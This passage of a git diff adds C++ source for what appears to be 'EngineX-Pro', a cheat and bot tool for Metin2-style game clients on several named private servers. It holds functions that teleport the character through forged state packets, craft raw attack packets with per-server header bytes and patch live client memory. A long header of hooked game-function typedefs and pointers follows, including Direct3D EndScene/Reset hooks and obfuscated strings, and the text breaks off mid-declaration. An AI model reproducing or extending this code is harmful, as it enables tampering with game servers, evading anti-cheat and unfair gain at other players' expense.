DirectTexture d3dPointer = GameFunctions::GraphicTextureGetD3DTexture(texturePointer); + if (d3dPointer != NULL) + { + return d3dPointer; + } + } + } + return NULL; + } + return NULL; + } + else + { + return NULL; + } + } + + //################################################################################################################################# + static float PlayerGetRotation() + { + float frotation = 180.0f - GameFunctions::InstanceBaseGetRotation(GameFunctions::PlayerNEW_GetMainActorPtr()); + + return frotation; + } + //################################################################################################################################# + static void Teleport(D3DVECTOR TempPos) + { + static int BoostCount = 0; + DWORD* pCharInstance = GameFunctions::PlayerNEW_GetMainActorPtr(); + if (pCharInstance && TempPos.x > 0 && TempPos.y > 0) + { + GameFunctions::InstanceBaseSCRIPT_SetPixelPosition(pCharInstance, TempPos.x, TempPos.y); + if (BoostCount >= 1) + { + BoostCount = 0; + GameFunctions::NetworkStreamSendCharacterStatePacket(TempPos, GameFunctionsCustom::PlayerGetRotation(), 1, 0); + } + else + { + GameFunctions::NetworkStreamSendCharacterStatePacket(TempPos, GameFunctionsCustom::PlayerGetRotation(), 0, 0); + BoostCount++; + } + } + } + //############################################################################################################################### + static void UseSkillSlot(int skillIndex) + { + bool playerUsingHorse = GameFunctionsCustom::PlayerIsMountingHorse(); + if (playerUsingHorse) + { + DelayActions::Append(0, &GameFunctionsCustom::UnMountHorse); + DelayActions::Append(500, &GameFunctions::PlayerClickSkillSlot, skillIndex); + } + else + { + DelayActions::Append(0, &GameFunctions::PlayerClickSkillSlot, skillIndex); + } + if (playerUsingHorse) + { + DelayActions::Append(1500, &GameFunctionsCustom::MountHorse); + } + } + //############################################################################################################################### + static bool PlayerDirectEnter() + { + if (!GameFunctions::NetworkStreamIsOnline()) + { + + int lastSlot = GameFunctionsCustom::GetCharSlotByName(GameFunctions::PlayerGetName()); + if (lastSlot != -1) + { + GameFunctions::NetworkStreamConnectGameServer(lastSlot); + } + + + + return true; + } + return false; + } + //################################################################################################################################# + static float GetDegreeFromDirection(int dir) + { + if (dir < 0) + return 0.0f; + + if (dir >= 8) + return 0.0f; + + static float s_dirRot[8] = + { + +45.0f * 4, + +45.0f * 3, + +45.0f * 2, + +45.0f, + +0.0f, + 360.0f - 45.0f, + 360.0f - 45.0f * 2, + 360.0f - 45.0f * 3, + }; + + return s_dirRot[dir]; + } + //################################################################################################################################# + static int GetDirectionFromDegree(int angle) + { + if (angle < 0) + return 0; + + if (angle > 360) + return 0; + if (angle > 0 && angle <= 45) + { + return 6; + } + if (angle > 45 && angle <= 90) + { + return 7; + } + if (angle > 90 && angle <= 135) + { + return 0; + } + if (angle > 135 && angle <= 180) + { + return 1; + } + if (angle > 180 && angle <= 225) + { + return 2; + } + if (angle > 225 && angle <= 270) + { + return 3; + } + if (angle > 270 && angle <= 315) + { + return 4; + } + if (angle > 315 && angle <= 360) + { + return 5; + } + return 0; + } + //################################################################################################################################# + static void LookAtDestPixelPosition(DWORD vidTarget) + { + DWORD* mainPtr = GameFunctions::PlayerNEW_GetMainActorPtr(); + DWORD* tarPtr = GameFunctions::CharacterManagerGetInstancePtr(vidTarget); + D3DVECTOR main; + D3DVECTOR tar; + GameFunctions::InstanceBaseNEW_GetPixelPosition(mainPtr, &main); + GameFunctions::InstanceBaseNEW_GetPixelPosition(tarPtr, &tar); + int angle = (int)MiscExtension::AngleBetweenTwoPoints(main.x, main.y, tar.x, tar.y); + + if (angle < 0) + { + angle = -angle; + angle += 90; + } + else + { + + if (angle >= 0 && angle <45) + { + angle = 80; + } + + if (angle >= 45 && angle < 90) + { + angle = 60; + } + if (angle >= 90 && angle < 135) + { + angle = 20; + } + if (angle >= 135 && angle < 181) + { + angle = 330; + } + } + + GameFunctions::InstanceSetRotation(GameFunctions::PlayerNEW_GetMainActorPtr(), angle); + } + //################################################################################################################################# + static void LookAtDestPixelPosition(D3DVECTOR tar) + { + DWORD* mainPtr = GameFunctions::PlayerNEW_GetMainActorPtr(); + + D3DVECTOR main; + + GameFunctions::InstanceBaseNEW_GetPixelPosition(mainPtr, &main); + + int angle = (int)MiscExtension::AngleBetweenTwoPoints(main.x, main.y, tar.x, tar.y); + if (angle < 0) + { + angle = -angle; + angle += 90; + } + else + { + + if (angle >= 0 && angle < 45) + { + angle = 80; + } + + if (angle >= 45 && angle < 90) + { + angle = 60; + } + if (angle >= 90 && angle < 135) + { + angle = 20; + } + if (angle >= 135 && angle < 181) + { + angle = 330; + } + } + + + GameFunctions::InstanceSetRotation(GameFunctions::PlayerNEW_GetMainActorPtr(), angle); + + } + + static bool NetworkStreamSendAttackPacket(UINT uMotAttack, DWORD dwVIDVictim) + { + if (Globals::Server == ServerName::AELDRA) + { + MemoryExtension::MemSet(Globals::pCPythonNetworkStreamSendOnClickPacket + 0x42, 0x50, 1); + GameFunctions::NetworkStreamSendOnClickPacket(dwVIDVictim); + MemoryExtension::MemSet(Globals::pCPythonNetworkStreamSendOnClickPacket + 0x42, 0x53, 1); + return true; + } + if (Globals::Server == ServerName::WOM) + { + GameFunctions::NetworkStreamSendAttackPacket(uMotAttack, dwVIDVictim); + return true; + } + else { + TPacketCGAttack kPacketAtk; + switch (Globals::Server) + { + case ServerName::SAMIAS2: + kPacketAtk.header = 0x3A; + break; + case ServerName::METINPL: + kPacketAtk.header = 0x52; + break; + case ServerName::CALLIOPE2: + kPacketAtk.header = -112; + break; + case ServerName::TASTRIA2: + kPacketAtk.header = 124; + break; + case ServerName::KEVRA: + kPacketAtk.header = 0x3A; + break; + default: + kPacketAtk.header = HEADER_CG_ATTACK; + break; + } + kPacketAtk.bType = uMotAttack; + kPacketAtk.dwVictimVID = dwVIDVictim; + + if (Globals::Server == ServerName::ORIGINS2 || Globals::Server == ServerName::CLASSIC ) + { + if (!GameFunctions::NetworkStreamSendSpecial(sizeof(kPacketAtk), &kPacketAtk)) + { + return false; + } + + return true; + } + else + { + if (!GameFunctions::NetworkStreamSendSpecial(sizeof(kPacketAtk), &kPacketAtk)) + { + return false; + } + + return GameFunctions::NetworkStreamSendSequence(); + } + } + } + + static string GetMapName() + { + D3DVECTOR CharPos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &CharPos); + LONG GlobalX = CharPos.x; + LONG GlobalY = CharPos.y; + GameFunctions::BackgroundLocalPositionToGlobalPosition(GlobalX, GlobalY); + switch (Globals::Server) + { + case ServerName::METINPL: + return GetStr((DWORD)(TMapInfoGlobal*)GameFunctions::BackgroundGlobalPositionToMapInfo(GlobalX, GlobalY)->name); + break; + default: + return GetStr((DWORD)GameFunctions::BackgroundGlobalPositionToMapInfo(GlobalX, GlobalY)->name); + break; + } + } + + static void GlobalPositionToLocalPosition(LONG& rGlobalX, LONG& rGlobalY) + { + D3DVECTOR charpos; + GameFunctions::InstanceBaseNEW_GetPixelPosition(GameFunctions::PlayerNEW_GetMainActorPtr(), &charpos); + LONG GlobalX = charpos.x; + LONG GlobalY = charpos.y; + GameFunctions::BackgroundLocalPositionToGlobalPosition(GlobalX, GlobalY); + LONG BaseX = GlobalX - charpos.x; + LONG BaseY = GlobalY - charpos.y; + rGlobalX -= BaseX; + rGlobalY -= BaseY; + } + //################################################################################################################################# + static DWORD IsMapHaveInstance(DWORD* instanceContain) + { + map playersList = GetObjectList(OBJECT_ALL); + for (map::iterator itor = playersList.begin(); itor != playersList.end(); itor++) + { + + DWORD* instance = itor->second; + + if (instanceContain == instance) + { + return true; + } + + } + return false; + } +}; + diff --git a/EngineX-Pro/Globals.h b/EngineX-Pro/Globals.h new file mode 100644 index 0000000..e4f9a4e --- /dev/null +++ b/EngineX-Pro/Globals.h @@ -0,0 +1,3911 @@ + +#pragma once +#include "xorstr.hpp" + +class Globals +{ +public: + //###################################################################################################################################### + static ServerName Server; + static bool UsePythonFunctions; + + static map itemProtoList; + static map itemProtoNames; + static map groundItemList; + + static DWORD hEntryBaseAddress; + static DWORD hEntryBaseSize; + static HMODULE hModule; + static HWND mainHwnd; + + static vector farmCoords; + + + static PyObject* m_apoPhaseWndGame; + //############################### PLAYER + + typedef int (*tPyRun_SimpleStringFlags)(const char* command, int flags); + typedef char* (*tPyString_AsString)(PyObject* op); + typedef long (*tPyInt_AsLong)(PyObject* op); + typedef PyObject* (*tPyTuple_GetItem)(PyObject* op, Py_ssize_t i); + typedef PyObject* (*tPy_BuildValue)(char* format, ...); + + typedef DWORD(__thiscall* tCPythonPlayerGetRace)(void* This); + typedef bool(__thiscall* tCPythonPlayerIsSkillCoolTime)(void* This, DWORD dwSlotIndex); + typedef int(__thiscall* tCPythonPlayerGetStatus)(void* This, DWORD dwType); + typedef const char* (__thiscall* tCPythonPlayerGetName)(void* This); + typedef void(__thiscall* tCPythonPlayerClickSkillSlot)(void* This, DWORD dwSlotIndex); + typedef DWORD(__thiscall* tCPythonPlayerGetItemIndex)(void* This, TItemPos Cell); + typedef DWORD(__thiscall* tCPythonPlayerGetItemMetinSocket)(void* This, TItemPos Cell, DWORD dwMetinSocketIndex); + typedef void(__thiscall* tCPythonPlayerGetItemAttribute)(void* This, TItemPos Cell, DWORD dwAttrSlotIndex, BYTE* pbyType, short* psValue); + + typedef void(__thiscall* tCPythonPlayerReviveGlobal)(void* This, int a2, int a3, char* a4); + + + typedef void(__thiscall* tCPythonPlayerSetAttackKeyState)(void* This, bool isPress); + typedef DWORD* (__thiscall* tCPythonPlayerNEW_GetMainActorPtr)(void* This); + typedef DWORD(__thiscall* tCPythonPlayerGetMainCharacterIndex)(void* This); + typedef bool(__thiscall* tCPythonPlayerIsSkillActive)(void* This, DWORD dwSlotIndex); + typedef void(__thiscall* tCPythonPlayerNEW_Fishing)(void* This); + typedef DWORD(__thiscall* tCPythonPlayerGetTargetVID)(void* This); + typedef void(__thiscall* tCPythonPlayer__OnClickActor)(void* This, DWORD* rkInstMain, DWORD dwPickedActorID, bool isAuto); + typedef void(__thiscall* tCPythonPlayer__OnPressActor)(void* This, DWORD* rkInstMain, DWORD dwPickedActorID, bool isAuto); + typedef void(__thiscall* tCPythonPlayerNEW_SetSingleDIKKeyState)(void* This, int eDIKKey, bool isPress); + typedef void(__thiscall* tCPythonPlayerSetTarget)(void* This, DWORD dwVID, BOOL bForceChange); + + //############################### NETWORK + + typedef DWORD(__thiscall* tCPythonNetworkStreamGetMainActorSkillGroup)(void* This); + typedef bool(__thiscall* tCNetworkStreamSendSequence)(void* This); + /*typedef bool(__thiscall* tCNetworkStreamPeek)(void* This, int len, void* pDestBuf);*/ + typedef bool(__thiscall* tCNetworkStreamRecv)(void* This, int len, void* pDestBuf); + + typedef bool(__thiscall* tCNetworkStreamSend)(void* This, int len, void* pDestBuf); + //typedef bool(__thiscall* tCNetworkStreamSendAeldra)(void* This, int len, void* pDestBuf, bool instant); + typedef int(__stdcall* tCNetworkStreamSendAeldra)(SOCKET s, const char* pDestBuf, int len, int flags); + typedef bool(__thiscall* tCNetworkStreamCheckPacket)(void* This, BYTE* header); + + typedef bool(__thiscall* tCNetworkStreamIsOnline)(void* This); + + typedef void(__thiscall* tCPythonNetworkStreamConnectGameServer)(void* This, UINT iChrSlot); + + typedef bool(__thiscall* tCPythonNetworkStreamSendItemUsePacket)(void* This, TItemPos pos); + typedef bool(__thiscall* tCPythonNetworkStreamSendItemUseToItemPacket)(void* This, TItemPos pos, TItemPos target_pos); + typedef bool(__thiscall* tCNetworkStreamConnect)(void* This, DWORD dwAddr, int port, int limitSec); + typedef void(__thiscall* tCNetworkStream__DirectEnterMode_Set)(void* This, UINT uChrSlotIndex); + typedef bool(__thiscall* tCPythonNetworkStreamSendItemDropPacketNew)(void* This, TItemPos pos, DWORD elk, DWORD count); + typedef bool(__thiscall* tCPythonNetworkStreamSendChatPacket)(void* This, const char* c_szChat, BYTE byType); + typedef bool(__thiscall* tCPythonNetworkStreamSendFishingPacket)(void* This, int iRotation); + typedef bool(__thiscall* tCPythonNetworkStreamSendFishingQuitPacket)(void* This, int count, float iRotation); + typedef bool(__thiscall* tCPythonNetworkStreamSendEmoticon)(void* This, BYTE emoticon); + typedef bool(__thiscall* tCPythonNetworkStreamSendExchangeStartPacket)(void* This, DWORD vid); + typedef bool(__thiscall* tCPythonNetworkStreamSendExchangeItemAddPacket)(void* This, TItemPos ItemPos, BYTE byDisplayPos); + typedef bool(__thiscall* tCPythonNetworkStreamSendExchangeAcceptPacket)(void* This); + typedef bool(__thiscall* tCPythonNetworkStreamSendUseSkillPacket)(void* This, DWORD dwSkillIndex, DWORD dwTargetVID); + typedef bool(__thiscall* tCPythonNetworkStreamSendAddFlyTargetingPacket)(void* This, DWORD dwTargetVID, D3DVECTOR& kPPosTarget); + typedef bool(__thiscall* tCPythonNetworkStreamSendShootPacket)(void* This, UINT uSkill); + typedef bool(__thiscall* tCPythonNetworkStreamSendItemPickUpPacket)(void* This, DWORD vid); + typedef bool(__thiscall* tCPythonNetworkStreamSendScriptAnswerPacket)(void* This, int iAnswer); + typedef bool(__thiscall* tCPythonNetworkStreamSendOnClickPacket)(void* This, DWORD vid); + typedef bool(__thiscall* tCPythonNetworkStreamSendWhisperPacket)(void* This, const char* name, const char* c_szChat); + typedef bool(__thiscall* tCPythonNetworkStreamSendSpecial)(void* This, int nLen, void* pvBuf); + typedef bool(__thiscall* tCPythonNetworkStreamSendAttackPacket)(void* This, UINT uMotAttack, DWORD dwVIDVictim); + typedef bool(__thiscall* tCPythonNetworkStreamSendShopSellPacketNew)(void* This, BYTE bySlot, WORD byCount); + typedef bool(__thiscall* tCPythonNetworkStreamSendShopBuyPacket)(void* This, BYTE bPos); + typedef bool(__thiscall* tCPythonNetworkStreamSendShopEndPacket)(void* This); + + + typedef bool(__thiscall* tCPythonNetworkStreamSendRefinePacket)(void* This, BYTE byPos, BYTE byType); + typedef bool(__thiscall* tCPythonNetworkStreamSendItemMovePacket)(void* This, TItemPos pos, TItemPos change_pos, BYTE num); + + + typedef bool(__thiscall* tCPythonNetworkStreamSendCharacterStatePacket)(void* This, const D3DVECTOR& c_rkPPosDst, float fDstRot, UINT eFunc, UINT uArg); + + typedef void(__thiscall* tCPythonNetworkStreamServerCommand)(void* This, const char* c_szCommand); + + typedef bool(__thiscall* tCPythonNetworkStreamSendGiveItemPacket)(void* This, DWORD dwTargetVID, TItemPos ItemPos, int iItemCount); + //############################### INSTANCE + typedef bool(__thiscall* tCInstanceBaseIsMountingHorse)(void* This); + typedef void(__thiscall* tCInstanceBaseNEW_GetPixelPosition)(DWORD* instance, D3DVECTOR* pPixelPosition); + typedef bool(__thiscall* tCInstanceBaseNEW_MoveToDestPixelPositionDirection)(DWORD* instance, D3DVECTOR& c_rkPPosDst); + + typedef const char* (__thiscall* tCInstanceBaseGetNameString)(void* This); + typedef int(__thiscall* tCInstanceBaseGetInstanceType)(void* This); + + + typedef void(__thiscall* tCInstanceBaseBlockMovement)(void* This); + + typedef void(__thiscall* tCInstanceBase__SetAffect)(void* This, UINT eAffect, bool isVisible); + typedef bool(__thiscall* tCInstanceBaseIsDead)(void* This); + typedef bool(__thiscall* tCInstanceBaseAvoidObject)(void* This, const DWORD* c_rkBGObj); + typedef bool(__thiscall* tCActorInstanceTestActorCollision)(void* This, DWORD* rVictim); + typedef void(__thiscall* tCInstanceBaseSCRIPT_SetPixelPosition)(void* This, float fx, float fy); + typedef void(__thiscall* tCInstanceBaseNEW_LookAtDestPixelPosition)(void* This, const D3DVECTOR& c_rkPPosDst); + typedef int(__thiscall* tCInstanceBaseGetInstanceVirtualNumber)(void* This); + + typedef float(__thiscall* tCInstanceBaseGetRotation)(void* This); + //############################### CHARACTER MANAGER + typedef DWORD* (__thiscall* tCPythonCharacterManagerGetInstancePtr)(void* This, DWORD VirtualID); + + //############################### CHARACTER MANAGER + + typedef void(__thiscall* tCPhysicsObjectIncreaseExternalForce)(void* This, const D3DVECTOR& c_rvBasePosition, float fForce); + + typedef const char* (__thiscall* tCItemDataGetName)(void* This); + + typedef bool(__thiscall* tCItemManagerGetItemDataPointer)(void* This, DWORD dwItemID, DWORD** ppItemData); + + typedef bool(__cdecl* tPyCallClassMemberFunc)(PyObject* poClass, const char* c_szFunc, PyObject* poArgs); + + typedef void(__thiscall* tCPythonChatAppendChat)(void* This, int iType, const char* c_szChat); + + typedef void(__thiscall* tCPythonApplicationRenderGame)(void* This); + typedef bool(__thiscall* tCPythonApplicationProcess)(void* This); + + typedef int(__thiscall* tCPythonEventManagerRegisterEventSetFromString)(void* This, const string& strScript); + typedef void(__thiscall* tCTerrainLoadMiniMapTexture)(void* This, const char* c_pchMiniMapFileName); + typedef DWORD* (__thiscall* tCPythonNonPlayerGetTable)(void* This, int vid); + + + typedef void(__thiscall* tCPythonBackgroundLocalPositionToGlobalPosition)(void* This, LONG& rLocalX, LONG& rLocalY); + typedef TMapInfo* (__thiscall* tCPythonBackgroundGlobalPositionToMapInfo)(void* This, DWORD dwGlobalX, DWORD dwGlobalY); + typedef const char* (__thiscall* tCNetworkStreamGetAccountCharacterSlotDataz)(void* This, UINT iSlot, UINT eType); + typedef void(__thiscall* tCInputKeyboardUpdateKeyboard)(void* This); + + + + typedef bool(__thiscall* tCInstanceBaseIsWaiting)(void* This); + typedef void(__thiscall* tCInstanceBaseSetRotation)(void* This, float fRotation); + typedef bool(__thiscall* tCPythonNetworkStreamSendCommandPacket)(void* This, DWORD a1, DWORD a2, const char* a3); + typedef float(__cdecl* tCInstanceBase__GetBackgroundHeight)(float x, float y); + + typedef HRESULT(__stdcall* tDirectEndScene)(void* pDevice); + typedef HRESULT(__stdcall* tDirectReset)(void* pDevice, D3DPRESENT_PARAMETERS* ppReset); + + typedef DWORD(__thiscall* tCPythonPlayerGetItemCount)(void* This, TItemPos Cell); + + typedef DWORD* (__thiscall* tCResourceManagerGetResourcePointer)(void* This, const char* c_szFileName); + typedef DWORD* (__thiscall* tCResourceManagerGetTexturePointer)(void* This); + typedef DirectTexture(__thiscall* tCResourceManagerGetD3DTexture)(void* This); + typedef void(__thiscall* tCResourceReload)(void* This); + + static DWORD iCPythonApplicationInstance; + static DWORD iCPythonBackgroundInstance; + static DWORD iCPythonCharacterManagerInstance; + static DWORD iCPythonItemInstance; + static DWORD iCPythonNetworkStreamInstance; + static DWORD iCPythonNonPlayerInstance; + static DWORD iCPythonPlayerInstance; + static DWORD iCResourceManagerInstance; + static DWORD iCItemManagerInstance; + + static DWORD pCPythonCharacterManagerInstance; + static DWORD pCPythonBackgroundInstance; + static DWORD pCPythonItemInstance; + static DWORD pCPythonApplicationInstance; + static DWORD pCPythonNetworkStreamInstance; + static DWORD pCItemManagerInstance; + static DWORD pCResourceManagerInstance; + static DWORD pCPythonNonPlayerInstance; + + + + + static DWORD pCActorInstanceTestActorCollision; + + static DWORD pCPythonBackgroundGlobalPositionToMapInfo; + static DWORD pCPythonBackgroundLocalPositionToGlobalPosition; + + static DWORD pCInstanceBaseAvoidObject; + static DWORD pCInstanceBaseBlockMovement; + static DWORD pCInstanceBaseGetInstanceType; + static DWORD pCInstanceBaseGetInstanceVirtualNumber; + static DWORD pCInstanceBaseGetNameString; + static DWORD pCInstanceBaseGetRotation; + static DWORD pCInstanceBaseIsDead; + static DWORD pCInstanceBaseIsMountingHorse; + static DWORD pCInstanceBaseNEW_GetPixelPosition; + static DWORD pCInstanceBaseNEW_LookAtDestPixelPosition; + static DWORD pCInstanceBaseNEW_MoveToDestPixelPositionDirection; + static DWORD pCInstanceBaseSCRIPT_SetPixelPosition; + static DWORD pCInstanceBase__SetAffect; + static DWORD pCItemDataGetName; + static DWORD pCItemManagerGetItemDataPointer; + + + + static DWORD pCNetworkStreamConnect; + static DWORD pCNetworkStream__DirectEnterMode_Set; + static DWORD pCNetworkStreamGetAccountCharacterSlotDataz; + static DWORD pCNetworkStreamIsOnline; + static DWORD pCNetworkStreamPeek; + static DWORD pCNetworkStreamRecv; + static DWORD pCNetworkStreamSend; + static DWORD pCNetworkStreamSendSequence; + + static DWORD pCPhysicsObjectIncreaseExternalForce; + + + + static DWORD pCPythonApplicationProcess; + static DWORD pCPythonApplicationRenderGame; + + + static DWORD pCPythonCharacterManagerGetInstancePtr; + static DWORD pCPythonChatAppendChat; + static DWORD pCPythonEventManagerRegisterEventSetFromString; + + static DWORD pCPythonNetworkStreamConnectGameServer; + static DWORD pCPythonNetworkStreamGetMainActorSkillGroup; + + static DWORD pCPythonNetworkStreamSendAddFlyTargetingPacket; + static DWORD pCPythonNetworkStreamSendAttackPacket; + static DWORD pCPythonNetworkStreamSendCharacterStatePacket; + static DWORD pCPythonNetworkStreamSendChatPacket; + static DWORD pCPythonNetworkStreamSendEmoticon; + static DWORD pCPythonNetworkStreamSendExchangeAcceptPacket; + static DWORD pCPythonNetworkStreamSendExchangeItemAddPacket; + static DWORD pCPythonNetworkStreamSendExchangeStartPacket; + static DWORD pCPythonNetworkStreamSendFishingQuitPacket; + static DWORD pCPythonNetworkStreamSendFishingPacket; + static DWORD pCPythonNetworkStreamSendGiveItemPacket; + static DWORD pCPythonNetworkStreamSendItemDropPacketNew; + static DWORD pCPythonNetworkStreamSendItemMovePacket; + static DWORD pCPythonNetworkStreamSendItemPickUpPacket; + static DWORD pCPythonNetworkStreamSendItemUsePacket; + static DWORD pCPythonNetworkStreamSendItemUseToItemPacket; + static DWORD pCPythonNetworkStreamSendOnClickPacket; + static DWORD pCPythonNetworkStreamSendRefinePacket; + static DWORD pCPythonNetworkStreamSendScriptAnswerPacket; + static DWORD pCPythonNetworkStreamSendShootPacket; + static DWORD pCPythonNetworkStreamSendShopBuyPacket; + static DWORD pCPythonNetworkStreamSendShopEndPacket; + static DWORD pCPythonNetworkStreamSendShopSellPacketNew; + static DWORD pCPythonNetworkStreamSendSpecial; + static DWORD pCPythonNetworkStreamSendUseSkillPacket; + static DWORD pCPythonNetworkStreamSendWhisperPacket; + static DWORD pCPythonNetworkStreamServerCommand; + static DWORD pCPythonNonPlayerGetTable; + + + static DWORD pCPythonPlayerReviveGlobal; + static DWORD pCPythonPlayerClickSkillSlot; + static DWORD pCPythonPlayerGetItemIndex; + static DWORD pCPythonPlayerGetItemMetinSocket; + static DWORD pCPythonPlayerGetItemAttribute; + static DWORD pCPythonPlayerGetMainCharacterIndex; + static DWORD pCPythonPlayerGetName; + static DWORD pCPythonPlayerGetRace; + static DWORD pCPythonPlayerGetStatus; + static DWORD pCPythonPlayerGetTargetVID; + static DWORD pCPythonPlayerInstance; + static DWORD pCPythonPlayerIsSkillActive; + static DWORD pCPythonPlayerIsSkillCoolTime; + static DWORD pCPythonPlayerNEW_Fishing; + static DWORD pCPythonPlayerNEW_GetMainActorPtr; + static DWORD pCPythonPlayerNEW_SetSingleDIKKeyState; + static DWORD pCPythonPlayerSetAttackKeyState; + static DWORD pCPythonPlayerSetTarget; + static DWORD pCPythonPlayer__OnClickActor; + static DWORD pCPythonPlayer__OnPressActor; + + + static DWORD pPyCallClassMemberFunc; + static DWORD pCGraphicBasems_lpd3dDevice; + static DWORD pCInputKeyboardUpdateKeyboard; + //#################################### + static DWORD pCInstanceBaseIsWaiting; + static DWORD pCInstanceBaseSetRotation; + static DWORD pCPythonNetworkStreamSendCommandPacket; + static DWORD pCInstanceBase__GetBackgroundHeight; + static DWORD pCPythonPlayerGetItemCount; + static DWORD pCGraphicTextureGetD3DTexture; + static DWORD pCResourceManagerGetResourcePointer; + static DWORD pCGraphicImageGetTexturePointer; + static DWORD pCResourceReload; + //python only + //player + static DWORD CythonPlayerGetStatus; + static DWORD CythonPlayerGetMainCharacterIndex; + static DWORD CythonPlayerGetItemIndex; + static DWORD CythonPlayerGetItemCount; + static DWORD CythonPlayerGetName; + static DWORD CythonPlayerGetItemMetinSocket; + static DWORD CythonPlayerGetRace; + static DWORD CythonPlayerSetSingleDIKKeyState; + static DWORD CythonPlayerClickSkillSlot; + static DWORD CythonPlayerIsSkillCoolTime; + static DWORD CythonPlayerIsSkillActive; + static DWORD CythonPlayerGetTargetVID; + static DWORD CythonPlayerSetTarget; + static DWORD CythonPlayerSetAttackKeyState; + static DWORD CythonPlayerIsMountingHorse; + //chr + static DWORD CythonChrSelectInstance; + static DWORD CythonChrGetPixelPosition; + static DWORD CythonChrMoveToDestPosition; + static DWORD CythonChrGetInstanceType; + static DWORD CythonChrGetVirtualNumber; + static DWORD CythonChrGetNameByVID; + static DWORD CythonChrSetPixelPosition; + static DWORD CythonChrSetRotation; + static DWORD CythonChrGetRotation; + static DWORD CythonChrmgrSetAffect; + //net + static DWORD CythonNetSendItemUsePacket; + static DWORD CythonNetSendChatPacket; + static DWORD CythonNetSendRefinePacket; + static DWORD CythonNetSendExchangeStartPacket; + static DWORD CythonNetSendExchangeItemAddPacket; + static DWORD CythonNetSendExchangeAcceptPacket; + static DWORD CythonNetSendWhisperPacket; + static DWORD CythonNetSendItemPickUpPacket; + static DWORD CythonNetSendItemDropPacketNew; + static DWORD CythonNetSendOnClickPacket; + static DWORD CythonNetSendShopSellPacketNew; + static DWORD CythonNetSendShopBuyPacket; + static DWORD CythonNetSendShopEndPacket; + static DWORD CythonNetSendGiveItemPacket; + static DWORD CythonNetSendItemMovePacket; + static DWORD CythonNetDirectEnter; + static DWORD CythonNetConnectTCP; + static DWORD CythonNetIsConnect; + static DWORD CythonNetGetMainActorSkillGroup; + static DWORD CythonNetGetAccountCharacterSlotData; + static DWORD CythonNetSendCommandPacket; + static DWORD CythonEventSelectAnswer; + //item + static DWORD CythonItemSelectItem; + static DWORD CythonItemGetItemName; +public: + //##################################################################################################################################### + /*static tCNetworkStreamPeek CNetworkStreamPeek;*/ + + static tCActorInstanceTestActorCollision CActorInstanceTestActorCollision; + static tCPythonBackgroundGlobalPositionToMapInfo CPythonBackgroundGlobalPositionToMapInfo; + static tCInstanceBaseAvoidObject CInstanceBaseAvoidObject; + static tCInstanceBaseBlockMovement CInstanceBaseBlockMovement; + static tCInstanceBaseGetInstanceType CInstanceBaseGetInstanceType; + static tCInstanceBaseGetInstanceVirtualNumber CInstanceBaseGetInstanceVirtualNumber; + static tCInstanceBaseGetNameString CInstanceBaseGetNameString; + static tCInstanceBaseGetRotation CInstanceBaseGetRotation; + static tCInstanceBaseIsDead CInstanceBaseIsDead; + static tCInstanceBaseIsMountingHorse CInstanceBaseIsMountingHorse; + static tCInstanceBaseNEW_GetPixelPosition CInstanceBaseNEW_GetPixelPosition; + static tCInstanceBaseNEW_LookAtDestPixelPosition CInstanceBaseNEW_LookAtDestPixelPosition; + static tCInstanceBaseNEW_MoveToDestPixelPositionDirection CInstanceBaseNEW_MoveToDestPixelPositionDirection; + static tCInstanceBaseSCRIPT_SetPixelPosition CInstanceBaseSCRIPT_SetPixelPosition; + static tCInstanceBase__SetAffect CInstanceBase__SetAffect; + static tCItemManagerGetItemDataPointer CItemManagerGetItemDataPointer; + static tCPythonBackgroundLocalPositionToGlobalPosition CPythonBackgroundLocalPositionToGlobalPosition; + static tCNetworkStreamConnect CNetworkStreamConnect; + static tCNetworkStream__DirectEnterMode_Set CNetworkStream__DirectEnterMode_Set; + static tCNetworkStreamGetAccountCharacterSlotDataz CNetworkStreamGetAccountCharacterSlotDataz; + static tCNetworkStreamIsOnline CNetworkStreamIsOnline; + static tCNetworkStreamRecv CNetworkStreamRecv; + static tCNetworkStreamSend CNetworkStreamSend; + static tCNetworkStreamSendSequence CNetworkStreamSendSequence; + static tCPhysicsObjectIncreaseExternalForce CPhysicsObjectIncreaseExternalForce; + static tCPythonPlayerReviveGlobal CPythonPlayerReviveGlobal; + static tCPythonApplicationProcess CPythonApplicationProcess; + static tCPythonApplicationRenderGame CPythonApplicationRenderGame; + static tCPythonCharacterManagerGetInstancePtr CPythonCharacterManagerGetInstancePtr; + static tCPythonChatAppendChat CPythonChatAppendChat; + static tCPythonEventManagerRegisterEventSetFromString CPythonEventManagerRegisterEventSetFromString; + static tCPythonNetworkStreamConnectGameServer CPythonNetworkStreamConnectGameServer; + static tCPythonNetworkStreamGetMainActorSkillGroup CPythonNetworkStreamGetMainActorSkillGroup; + static tCPythonNetworkStreamSendAddFlyTargetingPacket CPythonNetworkStreamSendAddFlyTargetingPacket; + static tCPythonNetworkStreamSendAttackPacket CPythonNetworkStreamSendAttackPacket; + static tCPythonNetworkStreamSendCharacterStatePacket CPythonNetworkStreamSendCharacterStatePacket; + static tCPythonNetworkStreamSendChatPacket CPythonNetworkStreamSendChatPacket; + static tCPythonNetworkStreamSendEmoticon CPythonNetworkStreamSendEmoticon; + static tCPythonNetworkStreamSendExchangeAcceptPacket CPythonNetworkStreamSendExchangeAcceptPacket; + static tCPythonNetworkStreamSendExchangeItemAddPacket CPythonNetworkStreamSendExchangeItemAddPacket; + static tCPythonNetworkStreamSendExchangeStartPacket CPythonNetworkStreamSendExchangeStartPacket; + static tCPythonNetworkStreamSendFishingQuitPacket CPythonNetworkStreamSendFishingQuitPacket; + static tCPythonNetworkStreamSendFishingPacket CPythonNetworkStreamSendFishingPacket; + static tCPythonNetworkStreamSendGiveItemPacket CPythonNetworkStreamSendGiveItemPacket; + static tCPythonNetworkStreamSendItemDropPacketNew CPythonNetworkStreamSendItemDropPacketNew; + static tCPythonNetworkStreamSendItemMovePacket CPythonNetworkStreamSendItemMovePacket; + static tCPythonNetworkStreamSendItemPickUpPacket CPythonNetworkStreamSendItemPickUpPacket; + static tCPythonNetworkStreamSendItemUsePacket CPythonNetworkStreamSendItemUsePacket; + static tCPythonNetworkStreamSendItemUseToItemPacket CPythonNetworkStreamSendItemUseToItemPacket; + static tCPythonNetworkStreamSendOnClickPacket CPythonNetworkStreamSendOnClickPacket; + static tCPythonNetworkStreamSendRefinePacket CPythonNetworkStreamSendRefinePacket; + static tCPythonNetworkStreamSendScriptAnswerPacket CPythonNetworkStreamSendScriptAnswerPacket; + static tCPythonNetworkStreamSendShootPacket CPythonNetworkStreamSendShootPacket; + static 